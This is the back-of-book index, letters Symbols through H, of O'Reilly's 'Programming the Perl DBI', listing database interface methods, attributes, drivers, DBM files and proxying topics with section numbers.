Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
8.2 Database Proxying | Book Index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0 (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: 0

= comparison operator: 3.3.2. Queries and Condition Clauses
> comparison operator: 3.3.2. Queries and Condition Clauses
< comparison operator: 3.3.2. Queries and Condition Clauses

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: A

\%attr attribute parameter: 4.4.1. Connection
6.1.1. Passing Attributes to DBI Methods
A.3.1. DBI Class Methods
access-list configuration: 8.2.2.1. Access configuration
accessor methods: 2.7.3.3. Object accessor methods
ACID transaction handling: 6.3. Transactions, Locking, and Isolation
Active attribute: 5.1.4. Finishing a Data Fetch Early
A.5. Attributes Common to All Handles
active statement handles: 5.1.4. Finishing a Data Fetch Early
ActiveKids attribute: 5.1.5. Deallocating Statement Handles
A.5. Attributes Common to All Handles
ActiveState Perl for Windows: 8.2.1.1. Setting up a proxy server
ADO (ActiveX Data Objects): 7.8. And What About ADO?
B. Driver and Database Characteristics
(see also DBD::ADO driver)
alias names: 5.1.3. Fetching Data
AND logical operator: 3.3.2. Queries and Condition Clauses
AnyDBM_File module: 2.7. DBM Files and the BerkeleyDatabase Manager
APIs (Application Programming Interfaces): 2. Basic Non-DBI Databases
7.1. ODBC--Embraced and Extended
archives, dbi-users mailing list: A.9.4. Mailing List
array indices: 5.6.2.2. Slice array reference argument
array references: 5.1.3. Fetching Data
5.6.2.1. No arguments
arrays
associative: 2.7. DBM Files and the BerkeleyDatabase Manager
retrieved from databases: 5.1.3. Fetching Data
ASLaN (Ancient Sacred Landscape Network): C. ASLaN Sacred Site Charter
atomic fetching: 5.6.1. Atomic Fetching
attribute handles: 6.1. Handle Attributes and Metadata
(see also database handles; statement handles)
case significance of names: 6.1.3. The Significance of Case
inheritance rules: 6.1. Handle Attributes and Metadata
AutoCommit database handle attribute: 6.1.5. Database Handle Attributes
6.3.1. Automatic Transaction Handling
A.2.3. Outline Usage
A.3.1. DBI Class Methods
A.6.2. Database Handle Attributes
available_drivers(): 4.3. Data Source Names
A.3.1. DBI Class Methods

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: B

batch fetching: 5.6.2. Batch Fetching
Berkeley databases: 2.7. DBM Files and the BerkeleyDatabase Manager
accessor methods: 2.7.3.3. Object accessor methods
chaining multiple values into a hash: 2.7.3.5. Chaining multiple values into a hash
creating: 2.7.1. Creating a New Database
with DB_BTREE: 2.7.3.5. Chaining multiple values into a hash
DB_BTREE format: 2.7.1. Creating a New Database
DB_HASH format: 2.7.1. Creating a New Database
DBM files and: 2.7. DBM Files and the BerkeleyDatabase Manager
DB_RECNO format: 2.7.1. Creating a New Database
localized storage and retrieval: 2.7.3.1. Localized storage and retrieval
locking: 2.7.2. Locking Strategies
packing in Perl objects: 2.7.3.2. Packing in Perl objects
values
deleting: 2.7.4. Deleting Values
inserting/retrieving: 2.7.3. Inserting and Retrieving Values
binary large object datatypes: 3.2. Datatypes and NULL Values
6.1.4. Common Attributes
bind values: 5.3. Binding Parameters to Statements
A.7.1. Statement Handle Methods
data typing and: 5.3.2. Bind Values and Data Typing
execute(): 5.3.4. Binding Values Without bind_ param( )
input/output parameters: 5.3.3. Binding Input and Output Parameters
LONG/LOB datatypes and: 6.2.1. Inserting and Updating LONG/LOB Columns
placeholders and: A.2.7. Placeholders and Bind Values
references: 5.3.3. Binding Input and Output Parameters
specifying multiple: 5.3. Binding Parameters to Statements
vs. interpolated statements: 5.3.1. Bind Values Versus Interpolated Statements
bind_col(): 5.4. Binding Output Columns
A.7.1.1. Datatypes for placeholders
bind_columns(): 5.4. Binding Output Columns
A.7.1.1. Datatypes for placeholders
binding (see bind values)
bind_param(): 5.3. Binding Parameters to Statements
5.3.3. Binding Input and Output Parameters
6.2.1. Inserting and Updating LONG/LOB Columns
A.7.1. Statement Handle Methods
bind_param_inout(): 5.3.3. Binding Input and Output Parameters
A.7.1.1. Datatypes for placeholders
blank-padded character columns: 6.1.4. Common Attributes
BLOB (binary large object) datatype: 3.2. Datatypes and NULL Values
6.1.4. Common Attributes
boolean operators (see logical operators)
buffer space allocation: 6.1.4. Common Attributes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: C

/clear dbish command: 8.1.2. Handling Statements
/connect dbish command: 8.1.1. Starting Up dbish
CachedKids attribute: A.5. Attributes Common to All Handles
Call Level Interface: 7.1. ODBC--Embraced and Extended
cancel(): A.8.2. Signal Handling and Canceling Operations
Cartesian Product: 3.3.3. Queries over Multiple Tables
cascading delete mechanisms: 3.4.2. Deleting Data
CGI scripts, generating web pages from databases: 1.2. Perl
chained records, traversing: 2.7.3.5. Chaining multiple values into a hash
CHAR character datatype: 3.2. Datatypes and NULL Values
6.1.4. Common Attributes
6.1.7. Statement Handle Attributes or Statement Metadata
character columns: 6.1.4. Common Attributes
character datatype: 3.2. Datatypes and NULL Values
ChopBlanks attribute: 6.1.4. Common Attributes
A.5. Attributes Common to All Handles
cipher mechanism: 8.2.2.3. Ciphers
client programs, database proxying: 8.2. Database Proxying
CLOB (binary large object) datatype: 3.2. Datatypes and NULL Values
column names, aliasing: 5.1.3. Fetching Data
commit(): 4.4.2. Disconnection
A.6.1. Database Handle Methods
transaction handling: 6.3.1. Automatic Transaction Handling
committing data: 6.3. Transactions, Locking, and Isolation
comparison operator: 3.3.2. Queries and Condition Clauses
comparison operators: 3.3.2. Queries and Condition Clauses
CompatMode attribute: A.5. Attributes Common to All Handles
compression, data: 8.2.2.2. Compression
Compress::Zlib module: 8.2.2.2. Compression
condition clauses: 3.3.2. Queries and Condition Clauses
configuration files: 8.2.2.1. Access configuration
connect(): 4.4.1. Connection
A.3.1. DBI Class Methods
data source names and: 4.3. Data Source Names
6.1.2. Connecting with Attributes
driver handles and: 4.2.1. Driver Handles
error checking: 4.5.1.1. Manual error checking
proxy servers: 8.2.1.2. Connecting to the proxy server
connect_cached(): A.3.1. DBI Class Methods
CPAN (Comprehensive Perl Archive Network): 8.2.1.1. Setting up a proxy server
B.1. Acquiring the DBI and Drivers
CREATE TABLE command: 3.5. Creating and Destroying Tables
Crypt::DES module: 8.2.2.3. Ciphers
Crypt::IDEA module: 8.2.2.3. Ciphers
CSV (comma-separated values): 2.4. Flat-File Databases
B. Driver and Database Characteristics
(see also DBD::CSV driver)
CursorName statement handle attribute: A.7.2. Statement Handle Attributes
cursors, fetching operations: 5.1.3. Fetching Data

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: D

$data_source argument: 4.3. Data Source Names
4.4.1. Connection
A.3.1. DBI Class Methods
$dbh database handle: 4.2.2. Database Handles
$dbh variable: A.3.1. DBI Class Methods
$DBI::err variable: 4.5.2. Error Diagnostics
A.3.3. DBI Dynamic Attributes
$DBI::errstr variable: 4.5.2. Error Diagnostics
A.3.3. DBI Dynamic Attributes
$DBI::rows variable ) (see rows()
$DBI::state variable: 4.5.2. Error Diagnostics
7.3.2. Standard Error Codes
A.3.3. DBI Dynamic Attributes
$drh driver handle: 4.2.1. Driver Handles
data
compression: 8.2.2.2. Compression
deleting: 2.2. Query Languages and Data Functions
3.4.2. Deleting Data
5.2. Executing Non-SELECT Statements
delimited-field files: 2.4.4. Deleting Data
fixed-length record files: 2.4.4. Deleting Data
encryption: 8.2.2.3. Ciphers
fetching: 2.2. Query Languages and Data Functions
using DBI: 5.1.3. Fetching Data
fetchrow_array(): 5.1.3. Fetching Data
fetchrow_arrayref(): 5.1.3. Fetching Data
fetchrow_hashref(): 5.1.3. Fetching Data
finishing early: 5.1.4. Finishing a Data Fetch Early
piece-by-piece: 6.2. Handling LONG/LOB Data
printing and: 5.1.3.1. A quick way to fetch and print
selectall_arrayref(): 5.6.2. Batch Fetching
A.6.1. Database Handle Methods
selectcol_arrayref(): A.6.1. Database Handle Methods
selectrow_array(): 5.6.1. Atomic Fetching
A.6.1. Database Handle Methods
selectrow_arrayref(): 5.6.1. Atomic Fetching
inserting: 2.2. Query Languages and Data Functions
3.4.1. Inserting Data
5.2. Executing Non-SELECT Statements
delimited-field files: 2.4.2. Inserting Data
fixed-length record files: 2.4.2. Inserting Data
using quote(): 4.6.1. Database-Specific Quote Handling
long values, truncating: 6.1.4. Common Attributes
marshalling modules
Data::Dumper: 2. Basic Non-DBI Databases
2.5.1. The Perl Data::Dumper Module
Storable: 2. Basic Non-DBI Databases
2.5.2. The Storable Module
modifying within tables: 3.4. Modifying Data Within Tables
committing changes: 3.4.4. Committing and Rolling Back Modifications
6.3.1. Automatic Transaction Handling
deleting data: 3.4.2. Deleting Data
inserting data: 3.4.1. Inserting Data
undoing changes: 3.4.4. Committing and Rolling Back Modifications
6.3.3. Rolling Back Changes
updating data: 3.4.3. Updating Data
querying: 2.4.1. Querying Data
delimited-field files: 2.4.1. Querying Data
fixed-length record files: 2.4.1. Querying Data
from multiple tables: 3.3.3. Queries over Multiple Tables
from single tables: 3.3.2. Queries and Condition Clauses
using SQL: 3.3. Querying Data
rolling back: 6.3. Transactions, Locking, and Isolation
selecting: 2.2. Query Languages and Data Functions
2.4.1. Querying Data
serializing: 2.5. Putting Complex Data into Flat Files
2.8. The MLDBM Module
storing (see data, inserting)
trailing blanks, removing: 6.1.4. Common Attributes
truncating long values: 6.1.4. Common Attributes
6.2. Handling LONG/LOB Data
updating: 2.2. Query Languages and Data Functions
3.4.3. Updating Data
5.2. Executing Non-SELECT Statements
delimited-field files: 2.4.3. Updating Data
fixed-length record files: 2.4.3. Updating Data
data source names: 4.3. Data Source Names
available_drivers(): 4.3. Data Source Names
connect() and: 4.3. Data Source Names
6.1.2. Connecting with Attributes
data_sources(): 4.3. Data Source Names
name=value pairs: 4.3. Data Source Names
data structures, storing complex: 2.8. The MLDBM Module
data warehousing: 1.1. From Mainframes to Workstations
3.1. The Relational Database Methodology
3.4. Modifying Data Within Tables
database drivers
connection syntax examples
CSV: 4.3. Data Source Names
mSQL: 4.3. Data Source Names
Oracle: 4.3. Data Source Names
DBI: 4.1. DBI Architecture
B.1. Acquiring the DBI and Drivers
prefixes: 4.3. Data Source Names
6.1.3. The Significance of Case
A.2.5. Naming Conventions and Name Space
standard: 4.3. Data Source Names
database handles: 4.2.2. Database Handles
atomic fetching and: 5.6.1. Atomic Fetching
attributes: 6.1.5. Database Handle Attributes
connecting with: 6.1.2. Connecting with Attributes
driver-specific: 6.1. Handle Attributes and Metadata
6.1.3. The Significance of Case
error checking: 6.1.4. Common Attributes
getting or setting values: 6.1. Handle Attributes and Metadata
passing to DBI methods: 6.1.1. Passing Attributes to DBI Methods
$dbh: 4.2.2. Database Handles
retrieving entity metadata: 6.1.6. Database Metadata
database-independent programming interfaces: 1.1. From Mainframes to Workstations
7. ODBC and the DBI
database metadata: 6.1.6. Database Metadata
databases
accessing using proxying: 8.2. Database Proxying
basic attributes: 2. Basic Non-DBI Databases
Berkeley (see Berkeley databases)
committing changes: 6.3. Transactions, Locking, and Isolation
concurrent access to: 2.6. Concurrent Database Access and Locking
connecting to: 4.4.1. Connection
requirements: 4.4.1. Connection
with dbish: 8.1.1. Starting Up dbish
creating new tables: 3.5. Creating and Destroying Tables
cursors: 5.1.3. Fetching Data
deleting tables: 3.5. Creating and Destroying Tables
3.5. Creating and Destroying Tables
disconnecting from: 4.4.2. Disconnection
6.3.4. Disconnecting, One Way or Another
evolution from mainframes to workstations: 1.1. From Mainframes to Workstations
executing SQL statements: 5.1.2. Executing Select Statements
extracting table information, example: 6.1.7. Statement Handle Attributes or Statement Metadata
fetching data: 5.1. Issuing Simple Queries
using DBI: 5.1.3. Fetching Data
file locking: 2.6. Concurrent Database Access and Locking
flat-file (see flat-file databases)
generating dynamic views: 6.1.6. Database Metadata
locking
Berkeley databases: 2.7.2. Locking Strategies
flat-file databases: 2.6. Concurrent Database Access and Locking
preparing SQL statements: 5.1.1. Preparing SQL Statements
proxying: 8.2. Database Proxying
queries, issuing simple: 5.1. Issuing Simple Queries
query languages (see query languages)
quoting and escaping SQL statements: 4.6.1. Database-Specific Quote Handling
relational: 3.1. The Relational Database Methodology
result sets: 5.1.3. Fetching Data
retrieving entity metadata: 6.1.6. Database Metadata
rolling back changes: 6.3. Transactions, Locking, and Isolation
schemas: 3.1. The Relational Database Methodology
6.1.6. Database Metadata
storage managers and layers: 2.1. Storage Managers and Layers
system catalogs: 6.1.6. Database Metadata
Data::Dumper module: 2. Basic Non-DBI Databases
2.5.1. The Perl Data::Dumper Module
displaying restored data: 2.8. The MLDBM Module
DataHash(): 7.4.2. Win32::ODBC
data_sources(): A.3.1. DBI Class Methods
available_drivers() and: 4.3. Data Source Names
driver handles and: 4.2.1. Driver Handles
datatypes: 3.2. Datatypes and NULL Values
binary large object: 3.2. Datatypes and NULL Values
6.1.4. Common Attributes
bind values and: 5.3.2. Bind Values and Data Typing
character: 3.2. Datatypes and NULL Values
date: 3.2. Datatypes and NULL Values
LOB (large object): 6.2. Handling LONG/LOB Data
LONG: 6.1.4. Common Attributes
6.2. Handling LONG/LOB Data
numeric: 3.2. Datatypes and NULL Values
date datatype: 3.2. Datatypes and NULL Values
DB2 (see DBD\\DB2 driver)
db database manager: 2.7. DBM Files and the BerkeleyDatabase Manager
DB_BTREE storage format: 2.7.1. Creating a New Database
2.7.3.5. Chaining multiple values into a hash
DBD::ADO driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
DBD::CSV driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
driver-specific attributes: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
table metadata: B. Driver and Database Characteristics
DBD::DB2 driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::Empress driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::EmpressNet driver (see DBD\\Empress driver)
DBD::Informix driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
stored procedures: B. Driver and Database Characteristics
table metadata: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::Ingres driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
driver-specific attributes: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
table metadata: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::InterBase driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::mSQL driver (see DBD\\mysql driver)
DBD::mysql driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
driver-specific attributes and methods: B. Driver and Database Characteristics
locking: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
table metadata: B. Driver and Database Characteristics
DBD::ODBC driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
table metadata: B. Driver and Database Characteristics
DBD::ODBC module
vs. Win32::ODBC: 7.4.1. DBD::ODBC
DBD::Oracle driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
driver-specific methods: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
stored procedures: B. Driver and Database Characteristics
table metadata: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::Pg driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
driver-specific attributes: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::Proxy module: 8.2.1. The Database Proxy Architecture
8.2.1.2. Connecting to the proxy server
A.3.1. DBI Class Methods
DBDs (see database drivers)
DBD::SearchServer driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
locking: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
DBD::Sybase driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
driver-specific attributes and methods: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
stored procedures: B. Driver and Database Characteristics
transactions: B. Driver and Database Characteristics
DBD::XBase driver: B. Driver and Database Characteristics
connect syntax: B. Driver and Database Characteristics
datatypes: B. Driver and Database Characteristics
parameter binding: B. Driver and Database Characteristics
SQL dialect: B. Driver and Database Characteristics
table metadata: B. Driver and Database Characteristics
DB_File module: 2.7. DBM Files and the BerkeleyDatabase Manager
2.8. The MLDBM Module
default values: 2.7.1. Creating a New Database
using for storage: 2.8. The MLDBM Module
using seq(): 2.7.3.5. Chaining multiple values into a hash
DB_HASH storage format: 2.7.1. Creating a New Database
2.7.3.5. Chaining multiple values into a hash
DBI: 1. Introduction
application architecture: A.2.1. Architecture of a DBI Application
architecture: 4.1. DBI Architecture
combining with ODBC: 7.5. The Marriage of DBI and ODBC
connecting to databases: 4.3. Data Source Names
conventions: A.2.2. Notation and Conventions
data flow through: 4.1. DBI Architecture
data source names (see data source names)
database drivers: 4.1. DBI Architecture
database proxying: 8.2. Database Proxying
downloading source code: B.1. Acquiring the DBI and Drivers
error codes: 7.3.2. Standard Error Codes
error handling (see error handling)
execution tracing: 4.6.2. Tracing DBI Execution
formatting output generated by tracing: 4.6.3. Neat and Tidy Formatting
handles (see handles)
home page: A.1.1. Getting Help
implementing drivers: 4.1. DBI Architecture
implementing SQL: 7.3.1. A Standard SQL Syntax
installing: B.1. Acquiring the DBI and Drivers
integrating databases and web sites: 5.1.1.1. Constructing "on-the-fly" statements
interface rules: A.2.4. General Interface Rules and Caveats
metadata functions: 7.3.3. Rich Metadata
module: 4.1. DBI Architecture
naming conventions: A.2.5. Naming Conventions and Name Space
proxy architecture: 8.2.1. The Database Proxy Architecture
proxy servers (see proxy servers)
real-world uses: 1.3. DBI in the Real World
shell program (dbish): 8.1. dbish--The DBI Shell
specification: A. DBI Specification
statement preparation data flow: 5.1.1. Preparing SQL Statements
supporting databases: 4.1. DBI Architecture
synopsis: A.1. Synopsis
transaction handling (see transaction handling)
usage summary: A.2.3. Outline Usage
utility functions (see utility functions)
utility methods (see utility methods)
using Win32::DBIODBC module: 7.7. Moving Between Win32::ODBC and the DBI
DBI->available_drivers() ) (see available_drivers()
DBI->connect() ) (see connect())
DBI->data_sources() ) (see data_sources()
DBI->trace() ) (see trace()
DBI->trace_msg() ) (see trace_msg()
DBI methods, passing attributes to: 6.1.1. Passing Attributes to DBI Methods
dbi-users mailing list: A.9.4. Mailing List
DBI_AUTOPROXY environment variable: 8.2.1.2. Connecting to the proxy server
A.3.1. DBI Class Methods
DBI_DSN environment variable: 4.3. Data Source Names
6.1.2. Connecting with Attributes
A.3.1. DBI Class Methods
DBI::neat_list(): 8.1.2. Handling Statements
DBI_PASS environment variable: A.3.1. DBI Class Methods
dbiproxy script: 8.2.1.1. Setting up a proxy server
8.2.2.1. Access configuration
DBI::ProxyServer module: 8.2.1. The Database Proxy Architecture
8.2.2. Advanced Topics
dbish (DBI shell): 8.1. dbish--The DBI Shell
command syntax: 8.1.2. Handling Statements
issuing ad-hoc SQL statements: 8.1.2. Handling Statements
miscellaneous commands: 8.1.3. Some Miscellaneous dbish Commands
DBI_TRACE environment variable: 4.6.2. Tracing DBI Execution
DBI_USER environment variable: A.3.1. DBI Class Methods
DBM file libraries: 2.1. Storage Managers and Layers
DBM files: 2.7. DBM Files and the BerkeleyDatabase Manager
accessor methods: 2.7.3.3. Object accessor methods
Berkeley databases and: 2.7. DBM Files and the BerkeleyDatabase Manager
chaining multiple values into a hash: 2.7.3.5. Chaining multiple values into a hash
creating new databases: 2.7.1. Creating a New Database
deleting values: 2.7.4. Deleting Values
file descriptors: 2.7.2. Locking Strategies
hashtables, querying limitations: 2.7.3.4. Querying limitations of DBM files and hashtables
key/value pairs: 2.7. DBM Files and the BerkeleyDatabase Manager
2.7.3. Inserting and Retrieving Values
localized storage and retrieval: 2.7.3.1. Localized storage and retrieval
packing in Perl objects: 2.7.3.2. Packing in Perl objects
storing data using join() or pack(): 2.7.3.1. Localized storage and retrieval
DBperl: 7.2. DBI--Thrashed and Mutated
DB_RECNO storage format: 2.7.1. Creating a New Database
DDL (Data Definition Language) commands: 3.5. Creating and Destroying Tables
debugging ) (see trace()
delete operator, Perl: 2.7.4. Deleting Values
DELETE SQL statement: 3.4.2. Deleting Data
delimited-field files
deleting data: 2.4.4. Deleting Data
inserting data: 2.4.2. Inserting Data
querying data: 2.4.1. Querying Data
updating data: 2.4.3. Updating Data
delimited fields, choosing vs. fixed-length records: 2.4.1. Querying Data
delimiting characters: 2.4. Flat-File Databases
DESC SQL statement: 3.3.4.1. Ordering data
DESTROY method: 4.4.2. Disconnection
6.3.4. Disconnecting, One Way or Another
A.6.1. Database Handle Methods
diagnostics, error (see error diagnostics)
die(): 4.5.1. Automatic Versus Manual Error Checking
5.1.2. Executing Select Statements
5.1.4. Finishing a Data Fetch Early
automatic error checking: 4.5.1.2. Automatic error checking
used with RaiseError: 6.1.4. Common Attributes
disconnect(): 4.4.2. Disconnection
5.1.4. Finishing a Data Fetch Early
A.6.1. Database Handle Methods
transaction handling: 6.3.4. Disconnecting, One Way or Another
distributed environments: 1.1. From Mainframes to Workstations
DML (Data Manipulation Language) commands: 3.3. Querying Data
3.4. Modifying Data Within Tables
do(): 5.2. Executing Non-SELECT Statements
A.6.1. Database Handle Methods
vs. prepare(): 5.5. do( ) Versus prepare( )
Driver database handle attribute: A.6.2.3. Databases in which a transaction must be explicitly started
driver handles: 4.2.1. Driver Handles
driver-specific attributes: 6.1. Handle Attributes and Metadata
dump_results(): 5.1.3.1. A quick way to fetch and print
A.7.1.1. Datatypes for placeholders

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: E

/edit dbish command: 8.1.2. Handling Statements
Empress (see DBD\\Empress driver)
encryption: 8.2.2.3. Ciphers
error checking: 4.5.1. Automatic Versus Manual Error Checking
automatic: 4.5.1.2. Automatic error checking
disabling: 4.5.1.1. Manual error checking
4.5.1.2. Automatic error checking
vs. manual: 4.5.1. Automatic Versus Manual Error Checking
manual: 4.5.1.1. Manual error checking
mixed: 4.5.1.3. Mixed error checking
error codes: 7.3.2. Standard Error Codes
error diagnostics: 4.5.2. Error Diagnostics
methods: 4.5.2. Error Diagnostics
variables: 4.5.2. Error Diagnostics
error handling: 4.5. Error Handling
using die(): 4.5.1. Automatic Versus Manual Error Checking
exceptions: 4.5.1. Automatic Versus Manual Error Checking
transaction handling (example): 6.3.5. Combining Automatic Error Handling with Transactions
using warn(): 4.5.1. Automatic Versus Manual Error Checking
eval(): 2.5.1. The Perl Data::Dumper Module
execute(): 5.1.1. Preparing SQL Statements
A.7.1.1. Datatypes for placeholders
binding values and: 5.3.4. Binding Values Without bind_ param( )
SQL statements: 5.1.2. Executing Select Statements
execution tracing: 4.6.2. Tracing DBI Execution
external modules: 1.2. Perl

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: F

/format dbish command: 8.1.2. Handling Statements
FAQ: A.9.6. FAQ
Fcntl package: 2.6. Concurrent Database Access and Locking
fd() DB_File method: 2.7.2. Locking Strategies
fetch(): 5.4. Binding Output Columns
5.4. Binding Output Columns
(see also data, fetching)
fetch loops: 5.1.3. Fetching Data
6.2. Handling LONG/LOB Data
fetchall_arrayref(): 5.6.2. Batch Fetching
A.7.1.1. Datatypes for placeholders
hash reference arguments: 5.6.2.3. Slice hash reference argument
no arguments: 5.6.2.1. No arguments
slice array reference arguments: 5.6.2.2. Slice array reference argument
FetchRow(): 7.4.2. Win32::ODBC
fetchrow_array(): 5.1.3. Fetching Data
6.2. Handling LONG/LOB Data
7.4.2. Win32::ODBC
A.7.1.1. Datatypes for placeholders
fetchrow_arrayref(): 5.1.3. Fetching Data
A.7.1.1. Datatypes for placeholders
fetchrow_hashref(): 5.1.3. Fetching Data
7.4.2. Win32::ODBC
A.7.1.1. Datatypes for placeholders
file descriptors (DBM files): 2.7.2. Locking Strategies
finish(): 5.1.4. Finishing a Data Fetch Early
A.7.1.1. Datatypes for placeholders
fixed-length record files
data storage: 2.7.3.1. Localized storage and retrieval
deleting data: 2.4.4. Deleting Data
inserting data: 2.4.2. Inserting Data
querying data: 2.4.1. Querying Data
updating data: 2.4.3. Updating Data
fixed-length records, choosing vs. delimited fields: 2.4.1. Querying Data
fixed-width character columns: 6.1.4. Common Attributes
flat-file databases: 2.1. Storage Managers and Layers
2.4. Flat-File Databases
concurrent access to: 2.6. Concurrent Database Access and Locking
delimited-field files (see delimited-field files)
fixed-length record files (see fixed-length record files)
flat files, storing complex data into: 2.5. Putting Complex Data into Flat Files
FLOAT numeric datatype: 3.2. Datatypes and NULL Values
flock()
locking modes: 2.6. Concurrent Database Access and Locking
used with DBM files: 2.7.2. Locking Strategies
foreign keys: 3.3.3. Queries over Multiple Tables
3.4.2. Deleting Data
fork(), used with InactiveDestroy: A.5. Attributes Common to All Handles
freeze(): 2.5.2. The Storable Module
Fulcrum SearchServer (see DBD\\SearchServer driver)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: G

garbage collector: 5.1.5. Deallocating Statement Handles
gdbm database manager: 2.7. DBM Files and the BerkeleyDatabase Manager
GDBM_File module: 2.7. DBM Files and the BerkeleyDatabase Manager
get_dup(): 2.7.3.5. Chaining multiple values into a hash
GetInfo(): 7.3.4. Many Attributes and Options
Get/SetConnectOption(): 7.3.4. Many Attributes and Options
Get/SetStmtOption(): 7.3.4. Many Attributes and Options
GROUP BY clause: 3.3.4.2. Grouping data
GUI development toolkit (Tk): 1.2. Perl

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: H

$h->err(): 4.5.2. Error Diagnostics
A.4. Methods Common to All Handles
$h->errstr(): 4.5.2. Error Diagnostics
A.4. Methods Common to All Handles
$h->func(): A.4. Methods Common to All Handles
$h->state(): 4.5.2. Error Diagnostics
7.3.2. Standard Error Codes
A.4. Methods Common to All Handles
$h->trace(): A.4. Methods Common to All Handles
$h->trace_msg(): A.4. Methods Common to All Handles
/history dbish command: 8.1.2. Handling Statements
handles: 4.2. Handles
attributes: 6.1. Handle Attributes and Metadata
child and parent: 6.1. Handle Attributes and Metadata
database (see database handles)
driver: 4.2.1. Driver Handles
encapsulating a connection to a database: 4.2.2. Database Handles
encapsulating SQL statements for execution in a database: 4.2.3. Statement Handles
statement (see statement handles)
hash references
fetchall_arrayref() and: 5.6.2.3. Slice hash reference argument
retrieved from databases: 5.1.3. Fetching Data
hash values: 2.7.1. Creating a New Database
hash variables: 2.7. DBM Files and the BerkeleyDatabase Manager
hashtables
DBM files, querying limitations: 2.7.3.4. Querying limitations of DBM files and hashtables
traversing chained records: 2.7.3.5. Chaining multiple values into a hash
home page, DBI: A.1.1. Getting Help

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

